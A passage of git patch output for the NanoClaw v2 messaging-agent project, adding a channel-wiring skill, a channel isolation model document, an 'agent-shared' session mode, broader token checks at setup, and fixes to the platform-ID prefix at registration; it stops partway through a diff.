Manage Channels + +Wire messaging channels to agent groups. See `docs/v2-isolation-model.md` for the full isolation model. + +## Assess Current State + +Read the v2 central DB (`data/v2.db`) — query `agent_groups`, `messaging_groups`, and `messaging_group_agents` tables. Also check `.env` for channel tokens and `src/channels/index.ts` for uncommented imports. + +Categorize channels as: **wired** (has DB entities), **configured but unwired** (has credentials + barrel import, no DB entities), or **not configured**. + +## First Channel (No Agent Groups Exist) + +1. Ask the assistant name (default: project name or "Andy") +2. Ask which channel is the primary/admin channel +3. Ask for the platform ID — read the channel's SKILL.md `## Channel Info` > `how-to-find-id` to guide them +4. Register: + +```bash +npx tsx setup/index.ts --step register -- \ + --platform-id "" --name "" --folder "main" \ + --channel "" --is-main --no-trigger-required \ + --assistant-name "" --session-mode "shared" +``` + +5. Continue to "Wire New Channel" for any remaining configured channels. + +## Wire New Channel + +For each unwired channel: + +1. Read its SKILL.md `## Channel Info` for terminology, how-to-find-id, typical-use, and default-isolation +2. Ask for the platform ID using the platform's terminology +3. Ask the isolation question (see below) +4. Register with the appropriate flags + +### Isolation Question + +Present a multiple-choice with a contextual recommendation. The three options: + +- **Same conversation** (`--session-mode "agent-shared"` + existing folder) — all messages land in one session. Recommend for webhook + chat combos (GitHub + Slack). +- **Same agent, separate conversations** (`--session-mode "shared"` + existing folder) — shared workspace/memory, independent threads. Recommend for same user across platforms. +- **Separate agent** (new `--folder`) — full isolation. Recommend when different people are involved. + +Use the channel's `typical-use` and `default-isolation` fields to pick the recommendation. Offer to explain more if the user is unsure — reference `docs/v2-isolation-model.md` for the detailed explanation. + +### Register Command + +```bash +npx tsx setup/index.ts --step register -- \ + --platform-id "" --name "" \ + --folder "" --channel "" \ + --session-mode "" \ + --assistant-name "" +``` + +For separate agents, also ask for a folder name and optionally a different assistant name. + +## Add Channel Group + +When adding another group/chat on an already-configured platform (e.g. a second Telegram group): + +1. Read the channel's SKILL.md `## Channel Info` for terminology and how-to-find-id +2. Ask for the new group/chat ID +3. Ask the isolation question +4. Register — no package or credential changes needed + +## Change Wiring + +1. Show current wiring +2. Ask which channel to move and to which agent group +3. Delete the old `messaging_group_agents` entry, create a new one +4. Note: existing sessions stay with the old agent group; new messages route to the new one + +## Show Configuration + +Display a readable summary showing agent groups with their wired channels, configured-but-unwired channels, and unconfigured channels. diff --git a/.claude/skills/setup/SKILL.md b/.claude/skills/setup/SKILL.md index 77f8341..205b806 100644 --- a/.claude/skills/setup/SKILL.md +++ b/.claude/skills/setup/SKILL.md @@ -260,7 +260,7 @@ AskUserQuestion (multiSelect): Which messaging channels do you want to enable? For each selected channel, invoke its skill: -- **Discord:** Invoke `/add-discord` +- **Discord:** Invoke `/add-discord-v2` - **Slack:** Invoke `/add-slack-v2` - **Telegram:** Invoke `/add-telegram-v2` - **GitHub:** Invoke `/add-github-v2` @@ -286,7 +286,18 @@ Each skill will: npm install && npm run build ``` -If the build fails, read the error output and fix it (usually a missing dependency). Then continue to step 6. +If the build fails, read the error output and fix it (usually a missing dependency). Then continue to step 5a. + +## 5a. Wire Channels to Agent Groups + +Invoke `/manage-channels` to wire the installed channels to agent groups. This step: +1. Creates the agent group(s) and assigns a name to the assistant +2. Asks for each channel's platform-specific ID (guided by channel-specific instructions) +3. Decides the isolation level — whether channels share an agent, session, or are fully separate + +The `/manage-channels` skill reads each channel's `## Channel Info` section from its SKILL.md for platform-specific guidance (terminology, how to find IDs, recommended isolation). + +**This step is required.** Without it, channels are installed but not wired — messages will be silently dropped because the router has no agent group to route to. ## 6. Mount Allowlist @@ -334,7 +345,7 @@ Run `npx tsx setup/index.ts --step verify` and parse the status block. - SERVICE=not_found → re-run step 7 - CREDENTIALS=missing → re-run step 4 (Docker: check `onecli secrets list`; Apple Container: check `.env` for credentials) - CHANNEL_AUTH shows `not_found` for any channel → re-invoke that channel's skill (e.g. `/add-telegram`) -- REGISTERED_GROUPS=0 → re-invoke the channel skills from step 5 +- REGISTERED_GROUPS=0 → re-invoke `/manage-channels` from step 5a - MOUNT_ALLOWLIST=missing → `npx tsx setup/index.ts --step mounts -- --empty` Tell user to test: send a message in their registered chat. Show: `tail -f logs/nanoclaw.log` diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index 6487658..bdadabe 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -55,8 +55,10 @@ Status: [x] done, [~] partial, [ ] not started - [~] iMessage via Chat SDK (adapter + skill written, not tested) - [x] Backward compatibility with native channels (old adapters still work) - [x] Channel barrel wired (src/index.ts imports barrel, skills uncomment) -- [~] Setup flow wired to v2 channels (register.ts + verify.ts updated, but channel skills don't call register yet — see docs/v2-setup-wiring.md) -- [ ] Setup communicates each group is a different agent, distinct names +- [x] Setup flow wired to v2 channels (channel skills + /manage-channels for registration + verify.ts checks all tokens) +- [x] Channel Info metadata in each channel skill (type, terminology, how-to-find-id, isolation defaults) +- [x] /manage-channels skill (wire channels to agent groups with three isolation levels) +- [x] Agent-shared session mode (cross-channel shared sessions, e.g. GitHub + Slack) - [ ] Setup vs production channel separation - [ ] Generate visual diagram of customized instance at end of setup diff --git a/docs/v2-isolation-model.md b/docs/v2-isolation-model.md new file mode 100644 index 0000000..9236290 --- /dev/null +++ b/docs/v2-isolation-model.md @@ -0,0 +1,88 @@ +# Channel Isolation Model + +NanoClaw v2 decouples messaging channels from agent groups. When you connect a channel (Discord, Telegram, Slack, GitHub, etc.), you decide how it relates to your existing agents. There are three isolation levels. + +## The Three Levels + +### 1. Shared Session + +Multiple channels feed into the same conversation. The agent sees all messages from all channels in one thread. + +**What's shared:** Everything — workspace, memory, CLAUDE.md, and the conversation itself. A GitHub PR comment and a Slack message appear side by side in the agent's context. + +**Example:** A Slack channel paired with GitHub webhooks. The agent receives PR review requests via GitHub and discusses them in Slack — all in one session. When someone comments on a PR, the agent can reference the earlier Slack discussion about that feature. + +**When to use:** When one channel feeds context into another. Webhook/notification channels (GitHub, Linear) paired with a chat channel (Slack, Discord) are the classic case. + +**Technical:** Both messaging groups are wired to the same agent group with `session_mode: 'agent-shared'`. Session resolution looks up by agent group ID only, ignoring the messaging group — so all channels converge on one session. + +--- + +### 2. Same Agent, Separate Sessions + +Multiple channels share the same agent (same workspace, memory, personality) but have independent conversations. + +**What's shared:** Workspace, memory, CLAUDE.md, and all persistent state. If you tell the agent something in one session, it can save that to memory and recall it in another. The agent's personality, knowledge, and tools are identical across sessions. + +**What's separate:** The conversation thread. Messages from one channel don't appear in the other channel's session. Each channel has its own context window and conversation history. + +**Example:** You have three Telegram chats with your agent — one for a side project, one for personal tasks, one for work. All three share the same agent workspace. If you ask it to remember your API key naming convention in the project chat, it may recall that convention in the work chat too. But the conversations themselves are independent. + +**When to use:** When you're the primary (or sole) participant across channels and you want a unified agent identity. This is the most common setup for personal use across multiple platforms or multiple groups within one platform. + +**Technical:** Multiple messaging groups are wired to the same agent group with `session_mode: 'shared'` (or `'per-thread'`). Each messaging group gets its own session, but they all run in the same agent group folder. + +--- + +### 3. Separate Agent Groups + +Each channel gets its own agent with its own workspace, memory, and personality. Nothing is shared. + +**What's shared:** Nothing. The agents don't know about each other. Different CLAUDE.md, different memory, different workspace, different conversation history. + +**Example:** You have a Telegram group with a friend and a Discord server for a team project. The friend shouldn't know what you discuss with your team, and vice versa. Each gets its own agent with its own memory and personality. + +**When to use:** When different people are involved, or when the information in one channel should never leak to another. This is the right choice whenever there's a privacy or confidentiality boundary between channels. + +**Technical:** Each channel is wired to a different agent group, each with its own folder under `groups/`. Separate containers, separate session databases, separate everything. + +--- + +## How to Decide + +The key question: **Are you okay with any and every piece of information from one channel being available in the other?** + +- **No** → Separate agent groups (level 3) +- **Yes, and the channels should see each other's messages** → Shared session (level 1) +- **Yes, but the conversations should be independent** → Same agent, separate sessions (level 2) + +### Rules of Thumb + +| Scenario | Recommended Level | +|----------|------------------| +| Just you, multiple platforms (Telegram + Discord + Slack) | Same agent, separate sessions | +| Just you, multiple groups on one platform (3 Telegram chats) | Same agent, separate sessions | +| Webhook channel + chat channel (GitHub + Slack) | Shared session | +| Channel with friend A and channel with friend B | Separate agent groups | +| Personal channel and work channel | Separate agent groups | +| Team channel with different access levels | Separate agent groups | + +### When in Doubt + +If the participants are the same across channels → same agent group is usually fine. + +If different people are involved → separate agent groups. Information will cross-pollinate through agent memory if you don't. + +## Entity Model + +``` +agent_groups (workspace, memory, CLAUDE.md, personality) + ↕ many-to-many +messaging_groups (a specific channel/chat/group on a platform) + via +messaging_group_agents (session_mode, trigger_rules, priority) +``` + +- **Shared session:** multiple messaging_groups → same agent_group, `session_mode = 'agent-shared'` +- **Same agent, separate sessions:** multiple messaging_groups → same agent_group, `session_mode = 'shared'` +- **Separate agents:** each messaging_group → different agent_group diff --git a/docs/v2-setup-wiring.md b/docs/v2-setup-wiring.md index 8b67d30..5432668 100644 --- a/docs/v2-setup-wiring.md +++ b/docs/v2-setup-wiring.md @@ -37,76 +37,31 @@ Last updated: 2026-04-09, branch `v2`, commit `1dc5750` --- -## What's NOT Done — Remaining Work for Fresh Install +## Previously Open — Now Resolved -### 1. v2 Channel Skills Don't Register Groups +### 1. ~~v2 Channel Skills Don't Register Groups~~ ✅ -**Problem:** The v2 channel skills (`.claude/skills/add-telegram-v2/SKILL.md`, `add-slack-v2`, `add-linear-v2`, etc.) only do: -- Install npm package -- Uncomment barrel import -- Collect credentials → write to `.env` -- Build and verify +Channel skills now point to `/manage-channels` in their "Next Steps" section. Registration is handled by the `/manage-channels` skill, which reads each channel's `## Channel Info` section for platform-specific guidance. Channel skills stay lean (credentials only). -They do NOT create agent groups, messaging groups, or wiring in the v2 central DB. Without these DB entities, the router auto-creates a `messaging_group` on first message but finds no `messaging_group_agents` → message is silently dropped (now logged as WARN). +### 2. ~~v1 add-discord Skill is Incompatible~~ ✅ -**Fix needed:** Each v2 channel skill needs a registration phase that calls: -```bash -npx tsx setup/index.ts --step register -- \ - --platform-id "" \ - --name "" \ - --folder "" \ - --trigger "@BotName" \ - --channel \ - --is-main # (if this is the primary group) -``` +Created `/add-discord-v2` skill matching the v2 pattern. Setup SKILL.md updated to reference `/add-discord-v2`. -Or alternatively, add a dedicated "register groups" step to `setup/SKILL.md` between step 5 (channels) and step 6 (mounts). This step would: -1. Ask the user how many agent groups they want -2. For each group: name, folder, which channels it handles, trigger pattern, session mode -3. Call `setup/register.ts` for each +### 3. ~~Setup SKILL.md Missing Group Registration Step~~ ✅ -### 2. v1 add-discord Skill is Incompatible +Added step 5a "Wire Channels to Agent Groups" between channel installation (step 5) and mount allowlist (step 6). This step invokes `/manage-channels` which handles agent group creation, isolation level decisions, and wiring. -**Problem:** Setup SKILL.md line 263 references `/add-discord` (v1 skill). This skill: -- Tries to merge a branch (`feat/discord`) -- Uses `--jid "dc:"` format -- References `store/messages.db` for verification -- Creates a v1 DiscordChannel class (we now use Chat SDK) +### 4. ~~Channel Skills Should Know Channel Type~~ ✅ -**Fix needed:** Either: -- Create a `/add-discord-v2` skill matching the pattern of other v2 skills -- Or update the existing `/add-discord` skill for v2 -- Update `setup/SKILL.md` line 263 to reference the correct skill +Each v2 channel skill now has a `## Channel Info` structured section with: type, terminology, how-to-find-id, supports-threads, typical-use, default-isolation. The `/manage-channels` skill reads this for contextual recommendations. -### 3. Setup SKILL.md Missing Group Registration Step +### 5. ~~Verify Step Channel Auth Check~~ ✅ -**Problem:** The setup flow (steps 0-9) has no step for creating agent groups. Channels get configured (step 5) but nobody creates the v2 entities needed for routing. +`setup/verify.ts` now checks all v2 channel tokens: DISCORD_BOT_TOKEN, TELEGRAM_BOT_TOKEN, SLACK_BOT_TOKEN+SLACK_APP_TOKEN, GITHUB_TOKEN, LINEAR_API_KEY, GCHAT_CREDENTIALS, TEAMS_APP_ID+TEAMS_APP_PASSWORD, WEBEX_BOT_TOKEN, MATRIX_ACCESS_TOKEN, RESEND_API_KEY, WHATSAPP_ACCESS_TOKEN, IMESSAGE_ENABLED, plus WhatsApp Baileys auth dir. -**Fix needed:** Add a step (probably between current step 5 and 6, or as part of step 5) that: -1. Asks "What do you want to name your assistant?" (already partially handled by `--assistant-name`) -2. Asks which channel+platform-id is the primary/admin channel -3. Creates the agent_group with `is_admin=1` -4. Creates messaging_group + messaging_group_agents wiring -5. Optionally creates additional non-admin agent groups +### 6. Agent-Shared Session Mode ✅ -The v1 flow embedded this in each channel skill's "Register" phase. The v2 flow should either do the same (add register calls to each v2 channel skill) or centralize it. - -### 4. Setup Groups Step (`setup/groups.ts`) - -Check if `setup/groups.ts` exists and what it does. It may need updating for v2 or may need to be created. - -### 5. Channel Skills Should Know Channel Type - -Each v2 channel skill knows its channel type (discord, telegram, slack, etc.) but the registration args need the platform-specific channel/group ID which the user must provide. The skill should ask for this during Phase 3 (Setup) and then call register. - -### 6. Verify Step Channel Auth Check - -`setup/verify.ts` currently checks for a limited set of channel tokens: -- TELEGRAM_BOT_TOKEN, SLACK_BOT_TOKEN, SLACK_APP_TOKEN, DISCORD_BOT_TOKEN -- WhatsApp auth dir - -It should also check for v2 channel tokens: -- GITHUB_TOKEN, LINEAR_API_KEY, GCHAT_CREDENTIALS, TEAMS_APP_PASSWORD, etc. +Added `session_mode: 'agent-shared'` for cross-channel shared sessions (e.g. GitHub + Slack in one conversation). Session resolution looks up by agent_group_id instead of messaging_group_id when this mode is set. --- diff --git a/setup/verify.ts b/setup/verify.ts index 3d47174..566cc9b 100644 --- a/setup/verify.ts +++ b/setup/verify.ts @@ -112,29 +112,40 @@ export async function run(_args: string[]): Promise { 'SLACK_BOT_TOKEN', 'SLACK_APP_TOKEN', 'DISCORD_BOT_TOKEN', + 'GITHUB_TOKEN', + 'LINEAR_API_KEY', + 'GCHAT_CREDENTIALS', + 'TEAMS_APP_ID', + 'TEAMS_APP_PASSWORD', + 'WEBEX_BOT_TOKEN', + 'MATRIX_ACCESS_TOKEN', + 'RESEND_API_KEY', + 'WHATSAPP_ACCESS_TOKEN', + 'IMESSAGE_ENABLED', ]); + const has = (key: string) => !!(process.env[key] || envVars[key]); const channelAuth: Record = {}; - // WhatsApp: check for auth credentials on disk + // WhatsApp Baileys: check for auth credentials on disk const authDir = path.join(projectRoot, 'store', 'auth'); if (fs.existsSync(authDir) && fs.readdirSync(authDir).length > 0) { channelAuth.whatsapp = 'authenticated'; } - // Token-based channels: check .env - if (process.env.TELEGRAM_BOT_TOKEN || envVars.TELEGRAM_BOT_TOKEN) { - channelAuth.telegram = 'configured'; - } - if ( - (process.env.SLACK_BOT_TOKEN || envVars.SLACK_BOT_TOKEN) && - (process.env.SLACK_APP_TOKEN || envVars.SLACK_APP_TOKEN) - ) { - channelAuth.slack = 'configured'; - } - if (process.env.DISCORD_BOT_TOKEN || envVars.DISCORD_BOT_TOKEN) { - channelAuth.discord = 'configured'; - } + // Token-based channels + if (has('DISCORD_BOT_TOKEN')) channelAuth.discord = 'configured'; + if (has('TELEGRAM_BOT_TOKEN')) channelAuth.telegram = 'configured'; + if (has('SLACK_BOT_TOKEN') && has('SLACK_APP_TOKEN')) channelAuth.slack = 'configured'; + if (has('GITHUB_TOKEN')) channelAuth.github = 'configured'; + if (has('LINEAR_API_KEY')) channelAuth.linear = 'configured'; + if (has('GCHAT_CREDENTIALS')) channelAuth.gchat = 'configured'; + if (has('TEAMS_APP_ID') && has('TEAMS_APP_PASSWORD')) channelAuth.teams = 'configured'; + if (has('WEBEX_BOT_TOKEN')) channelAuth.webex = 'configured'; + if (has('MATRIX_ACCESS_TOKEN')) channelAuth.matrix = 'configured'; + if (has('RESEND_API_KEY')) channelAuth.resend = 'configured'; + if (has('WHATSAPP_ACCESS_TOKEN')) channelAuth['whatsapp-cloud'] = 'configured'; + if (has('IMESSAGE_ENABLED')) channelAuth.imessage = 'configured'; const configuredChannels = Object.keys(channelAuth); const anyChannelConfigured = configuredChannels.length > 0; diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts index 615c28e..23271ed 100644 --- a/src/channels/adapter.ts +++ b/src/channels/adapter.ts @@ -11,7 +11,7 @@ export interface ConversationConfig { agentGroupId: string; triggerPattern?: string; // regex string (for native channels) requiresTrigger: boolean; - sessionMode: 'shared' | 'per-thread'; + sessionMode: 'shared' | 'per-thread' | 'agent-shared'; } /** Passed to the adapter at setup time. */ diff --git a/src/db/sessions.ts b/src/db/sessions.ts index c1c9ba5..c2373f3 100644 --- a/src/db/sessions.ts +++ b/src/db/sessions.ts @@ -27,6 +27,13 @@ export function findSession(messagingGroupId: string, threadId: string | null): .get(messagingGroupId, 'active') as Session | undefined; } +/** Find an active session scoped to an agent group (ignoring messaging group). */ +export function findSessionByAgentGroup(agentGroupId: string): Session | undefined { + return getDb() + .prepare("SELECT * FROM sessions WHERE agent_group_id = ? AND status = 'active' ORDER BY created_at DESC LIMIT 1") + .get(agentGroupId) as Session | undefined; +} + export function getSessionsByAgentGroup(agentGroupId: string): Session[] { return getDb().prepare('SELECT * FROM sessions WHERE agent_group_id = ?').all(agentGroupId) as Session[]; } diff --git a/src/session-manager.ts b/src/session-manager.ts index 20e4562..94a1d58 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -11,7 +11,7 @@ import fs from 'fs'; import path from 'path'; import { DATA_DIR } from './config.js'; -import { createSession, findSession, getSession, updateSession } from './db/sessions.js'; +import { createSession, findSession, findSessionByAgentGroup, getSession, updateSession } from './db/sessions.js'; import { log } from './log.js'; import { INBOUND_SCHEMA, OUTBOUND_SCHEMA } from './db/schema.js'; import type { Session } from './types.js'; @@ -55,22 +55,35 @@ function generateId(): string { /** * Find or create a session for a messaging group + thread. - * Returns the session and whether it was newly created. + * + * Session modes: + * - 'shared': one session per messaging group (ignores threadId) + * - 'per-thread': one session per (messaging group, thread) + * - 'agent-shared': one session per agent group — all messaging groups + * wired with this mode share a single session (e.g. GitHub + Slack) */ export function resolveSession( agentGroupId: string, messagingGroupId: string, threadId: string | null, - sessionMode: 'shared' | 'per-thread', + sessionMode: 'shared' | 'per-thread' | 'agent-shared', ): { session: Session; created: boolean } { - const lookupThreadId = sessionMode === 'shared' ? null : threadId; - const existing = findSession(messagingGroupId, lookupThreadId); - - if (existing) { - return { session: existing, created: false }; + // agent-shared: single session per agent group, regardless of messaging group + if (sessionMode === 'agent-shared') { + const existing = findSessionByAgentGroup(agentGroupId); + if (existing) { + return { session: existing, created: false }; + } + } else { + const lookupThreadId = sessionMode === 'shared' ? null : threadId; + const existing = findSession(messagingGroupId, lookupThreadId); + if (existing) { + return { session: existing, created: false }; + } } const id = generateId(); + const lookupThreadId = sessionMode === 'per-thread' ? threadId : null; const session: Session = { id, agent_group_id: agentGroupId, @@ -85,7 +98,7 @@ export function resolveSession( createSession(session); initSessionFolder(agentGroupId, id); - log.info('Session created', { id, agentGroupId, messagingGroupId, threadId: lookupThreadId }); + log.info('Session created', { id, agentGroupId, messagingGroupId, threadId: lookupThreadId, sessionMode }); return { session, created: true }; } diff --git a/src/types.ts b/src/types.ts index 7b202bb..5d473d6 100644 --- a/src/types.ts +++ b/src/types.ts @@ -26,7 +26,7 @@ export interface MessagingGroupAgent { agent_group_id: string; trigger_rules: string | null; // JSON: { pattern, mentionOnly, excludeSenders, includeSenders } response_scope: 'all' | 'triggered' | 'allowlisted'; - session_mode: 'shared' | 'per-thread'; + session_mode: 'shared' | 'per-thread' | 'agent-shared'; priority: number; created_at: string; } From d656b5ccc1d71d1b85f193b37a9aaca35489ef00 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:36:45 +0300 Subject: [PATCH 089/485] fix: Chat SDK bridge delivery and typing for non-Discord adapters MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Use platformId directly as thread ID in deliver() and setTyping() instead of calling encodeThreadId with Discord-shaped args — platformId is already in the adapter's encoded format (e.g. "telegram:6037840640") - Add triggerTyping() in delivery.ts, call from router on message route - Enable Telegram channel in barrel - Verified E2E: Telegram message in → agent → typing indicator → response Co-Authored-By: Claude Opus 4.6 (1M context) --- groups/global/CLAUDE.md | 4 ++-- groups/main/CLAUDE.md | 4 ++-- src/channels/chat-sdk-bridge.ts | 6 ++++-- src/channels/index.ts | 2 +- src/delivery.ts | 9 +++++++++ src/router.ts | 6 +++++- 6 files changed, 23 insertions(+), 8 deletions(-) diff --git a/groups/global/CLAUDE.md b/groups/global/CLAUDE.md index 11988bc..b3c44c6 100644 --- a/groups/global/CLAUDE.md +++ b/groups/global/CLAUDE.md @@ -1,6 +1,6 @@ -# Andy +# Main -You are Andy, a personal assistant. You help with tasks, answer questions, and can schedule reminders. +You are Main, a personal assistant. You help with tasks, answer questions, and can schedule reminders. ## What You Can Do diff --git a/groups/main/CLAUDE.md b/groups/main/CLAUDE.md index de934f2..c8c0e9f 100644 --- a/groups/main/CLAUDE.md +++ b/groups/main/CLAUDE.md @@ -1,6 +1,6 @@ -# Andy +# Main -You are Andy, a personal assistant. You help with tasks, answer questions, and can schedule reminders. +You are Main, a personal assistant. You help with tasks, answer questions, and can schedule reminders. ## What You Can Do diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index e87e098..1d84b00 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -162,7 +162,9 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter }, async deliver(platformId: string, threadId: string | null, message) { - const tid = threadId ?? adapter.encodeThreadId({ guildId: '', channelId: platformId } as never); + // platformId is already in the adapter's encoded format (e.g. "telegram:6037840640", + // "discord:guildId:channelId") — use it directly as the thread ID + const tid = threadId ?? platformId; const content = message.content as Record; if (content.operation === 'edit' && content.messageId) { @@ -210,7 +212,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter }, async setTyping(platformId: string, threadId: string | null) { - const tid = threadId ?? adapter.encodeThreadId({ guildId: '', channelId: platformId } as never); + const tid = threadId ?? platformId; await adapter.startTyping(tid); }, diff --git a/src/channels/index.ts b/src/channels/index.ts index f01c35a..6efec66 100644 --- a/src/channels/index.ts +++ b/src/channels/index.ts @@ -8,7 +8,7 @@ import './discord.js'; // import './slack.js'; // telegram -// import './telegram.js'; +import './telegram.js'; // github // import './github.js'; diff --git a/src/delivery.ts b/src/delivery.ts index 35a41c2..12676f3 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -42,6 +42,15 @@ export function setDeliveryAdapter(adapter: ChannelDeliveryAdapter): void { deliveryAdapter = adapter; } +/** Show typing indicator on a channel. Called when a message is routed to the agent. */ +export async function triggerTyping(channelType: string, platformId: string, threadId: string | null): Promise { + try { + await deliveryAdapter?.setTyping?.(channelType, platformId, threadId); + } catch { + // Typing is best-effort — don't fail routing if it errors + } +} + /** Start the active container poll loop (~1s). */ export function startActiveDeliveryPoll(): void { if (activePolling) return; diff --git a/src/router.ts b/src/router.ts index e565d9f..658c117 100644 --- a/src/router.ts +++ b/src/router.ts @@ -5,6 +5,7 @@ * → resolve/create session → write messages_in → wake container */ import { getMessagingGroupByPlatform, createMessagingGroup, getMessagingGroupAgents } from './db/messaging-groups.js'; +import { triggerTyping } from './delivery.js'; import { log } from './log.js'; import { resolveSession, writeSessionMessage } from './session-manager.js'; import { wakeContainer } from './container-runner.js'; @@ -99,7 +100,10 @@ export async function routeInbound(event: InboundEvent): Promise { created, }); - // 5. Wake container + // 5. Show typing indicator while agent processes + triggerTyping(event.channelType, event.platformId, event.threadId); + + // 6. Wake container const freshSession = getSession(session.id); if (freshSession) { await wakeContainer(freshSession); From 6941e373660088779445616fb17777c16d330317 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:38:23 +0300 Subject: [PATCH 090/485] fix: auto-prefix platform IDs in register.ts to match Chat SDK format Chat SDK adapters use prefixed platform IDs (e.g. "telegram:6037840640", "discord:guildId:channelId") but users provide raw IDs during setup. Without the prefix, the router can't match the registered messaging group to incoming messages and silently drops them. register.ts now auto-prefixes with the channel type if not already present. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-checklist.md | 2 +- setup/register.ts | 7 +++++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index bdadabe..3317d44 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -43,7 +43,7 @@ Status: [x] done, [~] partial, [ ] not started - [x] Chat SDK SQLite state adapter (KV, subscriptions, locks, lists) - [x] Discord via Chat SDK - [~] Slack via Chat SDK (adapter + skill written, not tested) -- [~] Telegram via Chat SDK (adapter + skill written, not tested) +- [x] Telegram via Chat SDK (E2E verified: inbound, routing, typing, delivery) - [~] Microsoft Teams via Chat SDK (adapter + skill written, not tested) - [~] Google Chat via Chat SDK (adapter + skill written, not tested) - [~] Linear via Chat SDK (adapter + skill written, not tested) diff --git a/setup/register.ts b/setup/register.ts index a15e469..dacd8d2 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -118,6 +118,13 @@ export async function run(args: string[]): Promise { process.exit(4); } + // Chat SDK adapters prefix platform IDs with the channel type (e.g. "telegram:123", + // "discord:guild:channel"). Auto-prefix if the user provided a raw ID so the router + // matches the adapter's format. + if (parsed.platformId && !parsed.platformId.startsWith(`${parsed.channel}:`)) { + parsed.platformId = `${parsed.channel}:${parsed.platformId}`; + } + log.info('Registering channel', parsed); // Init v2 central DB From 9f5c37fc4c88ec0689fa82103c238201b6e38845 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:39:40 +0300 Subject: [PATCH 091/485] fix: handle platform ID prefix mismatch in router, not register Move prefix handling from register.ts to router.ts. Users register with raw platform IDs (what they naturally have), adapters send prefixed IDs (their internal format). Router now tries stripping the channel type prefix when the exact lookup fails, matching either format. Co-Authored-By: Claude Opus 4.6 (1M context) --- setup/register.ts | 7 ------- src/router.ts | 8 ++++++++ 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/setup/register.ts b/setup/register.ts index dacd8d2..a15e469 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -118,13 +118,6 @@ export async function run(args: string[]): Promise { process.exit(4); } - // Chat SDK adapters prefix platform IDs with the channel type (e.g. "telegram:123", - // "discord:guild:channel"). Auto-prefix if the user provided a raw ID so the router - // matches the adapter's format. - if (parsed.platformId && !parsed.platformId.startsWith(`${parsed.channel}:`)) { - parsed.platformId = `${parsed.channel}:${parsed.platformId}`; - } - log.info('Registering channel', parsed); // Init v2 central DB diff --git a/src/router.ts b/src/router.ts index 658c117..89723fc 100644 --- a/src/router.ts +++ b/src/router.ts @@ -34,7 +34,15 @@ export interface InboundEvent { */ export async function routeInbound(event: InboundEvent): Promise { // 1. Resolve messaging group + // Adapters send prefixed platform IDs (e.g. "telegram:123") but users may + // register with raw IDs ("123"). Try exact match first, then stripped prefix. let mg = getMessagingGroupByPlatform(event.channelType, event.platformId); + if (!mg) { + const prefix = `${event.channelType}:`; + if (event.platformId.startsWith(prefix)) { + mg = getMessagingGroupByPlatform(event.channelType, event.platformId.slice(prefix.length)); + } + } if (!mg) { // Auto-create messaging group (adapter already decided to forward this) From a2badbd525e22bd5fc76594211b62036574b3c7b Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:41:07 +0300 Subject: [PATCH 092/485] fix: normalize platform ID at registration, not router lookup Channel adapters prefix platform IDs with their channel type (e.g. "telegram:123"). Normalize in register.ts so the DB always stores the canonical format. Removes fallback lookup from router. Co-Authored-By: Claude Opus 4.6 (1M context) --- setup/register.ts | 7 +++++++ src/router.ts | 8 -------- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/setup/register.ts b/setup/register.ts index a15e469..51f2192 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -118,6 +118,13 @@ export async function run(args: string[]): Promise { process.exit(4); } + // Chat SDK adapters prefix platform IDs with the channel type + // (e.g. "telegram:123", "discord:guild:channel"). Normalize here so + // the stored ID always matches what the adapter sends at runtime. + if (!parsed.platformId.startsWith(`${parsed.channel}:`)) { + parsed.platformId = `${parsed.channel}:${parsed.platformId}`; + } + log.info('Registering channel', parsed); // Init v2 central DB diff --git a/src/router.ts b/src/router.ts index 89723fc..658c117 100644 --- a/src/router.ts +++ b/src/router.ts @@ -34,15 +34,7 @@ export interface InboundEvent { */ export async function routeInbound(event: InboundEvent): Promise { // 1. Resolve messaging group - // Adapters send prefixed platform IDs (e.g. "telegram:123") but users may - // register with raw IDs ("123"). Try exact match first, then stripped prefix. let mg = getMessagingGroupByPlatform(event.channelType, event.platformId); - if (!mg) { - const prefix = `${event.channelType}:`; - if (event.platformId.startsWith(prefix)) { - mg = getMessagingGroupByPlatform(event.channelType, event.platformId.slice(prefix.length)); - } - } if (!mg) { // Auto-create messaging group (adapter already decided to forward this) From 4a999ec97315f9169f7a5f9b1dc4758acfe7472b Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:48:56 +0300 Subject: [PATCH 093/485] feat: auto-onboarding when a channel is registered MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit After wiring a channel to an agent group, register.ts writes a task message to the session that triggers the /welcome container skill. The agent introduces itself immediately — the user sees typing and then a greeting without having to send a message first. Uses kind 'task' (not 'system') so the poll loop picks it up normally. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/skills/welcome/SKILL.md | 25 +++++++++++++++++++++++++ setup/register.ts | 19 +++++++++++++++++-- 2 files changed, 42 insertions(+), 2 deletions(-) create mode 100644 container/skills/welcome/SKILL.md diff --git a/container/skills/welcome/SKILL.md b/container/skills/welcome/SKILL.md new file mode 100644 index 0000000..371f4dd --- /dev/null +++ 